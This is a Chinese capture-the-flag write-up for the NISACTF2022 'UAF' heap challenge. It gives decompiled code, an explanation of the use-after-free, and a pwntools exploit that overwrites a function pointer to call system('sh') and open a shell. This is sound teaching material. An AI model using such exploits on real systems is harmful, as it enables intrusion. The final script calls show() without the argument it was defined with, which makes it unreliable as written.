NISACTF2022-UAF

本文最后更新于:2023年3月10日 晚上

本题我在本机上使用的文件名称为uaf,题目于NSSCTF

checksec:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

uaf题,本题没有使用到char类型,不考虑canary的影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[4]; // [esp+8h] [ebp-10h] BYREF

v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(58);
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
} //main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax

printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 )
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = (char *)malloc(8u);
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*(_DWORD *)page = 1868654951;
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
}
}
}
return result;
} //create
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int edit()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > i )
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[v1]);
}
return __readgsdword(0x14u) ^ v2;
} //edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int del()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > i )
puts("NO PAGE");
else
free((&page)[v1]);
return __readgsdword(0x14u) ^ v2;
} //del
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
} //show

以及一个很重要的函数

1
2
3
4
int __cdecl NICO(char *command)
{
return system(command);
} //NICO

本题题目就是UAF,包括在del函数中被free掉指针的chunk后并未将指针赋nullptr,此时uaf就出现了,并且存在的就是第一块空间被free后,第二次申请空间如果申请的chunk与第一次相同,那么第二次申请的地址值与第一次相同(可自行编写程序验证)。本题属于ctf-wiki中提到的:内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

本题大家可能会注意到,很多函数都在对0进行特判。首先在create函数中如果创建一个0页的内容,在申请8字空间之后将其赋值为 echo_addr、”giao”,即准备在show调用时执行”echo giao”,即打印”giao”。而这样根据上段开头给予的思路,便可得到如下思路:

申请page0 –> 释放page0 –> 申请page1 –> 编辑page1 –> 执行page0(1)

UAF类型题会更多地出现重复操作的类型,本题exp也会选用函数式编程的形式去编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 0x3a为main函数中的putchar(58)的内容,即':'
def create():
io.recvuntil(b'\x3a')
io.sendline(b'1')

def edit(id, content):
io.recvuntil(b'\x3a')
io.sendline(b'2')
io.recv()
io.sendline(str(id).encode())
io.recv()
io.sendline(content)

def delete(id):
io.recvuntil(b'\x3a')
io.sendline(b'3')
io.recv()
io.sendline(str(id).encode())

def show(id):
io.recvuntil(b'\x3a')
io.sendline(b'4')
io.sendline(str(id).encode())

使用str(id).encode()原因是一是要能send出去,二是要encode为bytes形式,因为作者不喜欢各种各样的警告。

由此我们注意到应该覆盖什么内容呢?有人会说:前面写*page = 'oaig';*(page + 1) = echo;,那我们写”/bin/sh”再加NICO函数的地址不就完事了吗?

注意审题!create函数只为每次申请分配0x8个字节,一个地址就四字节,前面写/bin/sh怎么会够呢?

于是,在此可以引入很多系统都会引入的一个概念:环境变量[(百度百科)](https://baike.baidu.com/item/环境变量#:~:text=环境变量(environment variables)一般是指在 操作系统 中用来指定操作系统运行环境的一些参数,如: 临时文件夹 位置和 系统文件夹 位置等。.,程序 而没有告诉它程序所在的完整路径时,系统除了在 当前目录 下面寻找此程序外,还应到path中指定的路径去找。. 用户通过设置环境 变量 ,来更好的运行进程。. 中文名.)。

在类Linux环境下用echo $PATH便可查询,如

1
/home/ubuntu/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

如此,在理论上,我们使用sh便可以一路搜索到/bin路径下并执行,那么payload就可以编写为:

payload = b'sh\x00\x00' + p32(0x08048642)

最终,本题的exp也呼之欲出了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

io = process('./uaf')

def create():
io.recvuntil(b'\x3a')
io.sendline(b'1')

def edit(id, content):
io.recvuntil(b'\x3a')
io.sendline(b'2')
io.recv()
io.sendline(str(id).encode())
io.recv()
io.sendline(content)

def delete(id):
io.recvuntil(b'\x3a')
io.sendline(b'3')
io.recv()
io.sendline(str(id).encode())

def show(id):
io.recvuntil(b'\x3a')
io.sendline(b'4')
io.sendline(str(id).encode())

create()
delete(0)
create()
# 可在此处下断点,然后调试一下观察脚本与程序都做了哪些事
payload = b'sh\x00\x00' + p32(0x08048642)
edit(1, payload)
show()

io.interactive()

NISACTF2022-UAF
http://example.com/2023/03/10/NISACTF2022-UAF-wp/
作者
OSLike
发布于
2023年3月10日
许可协议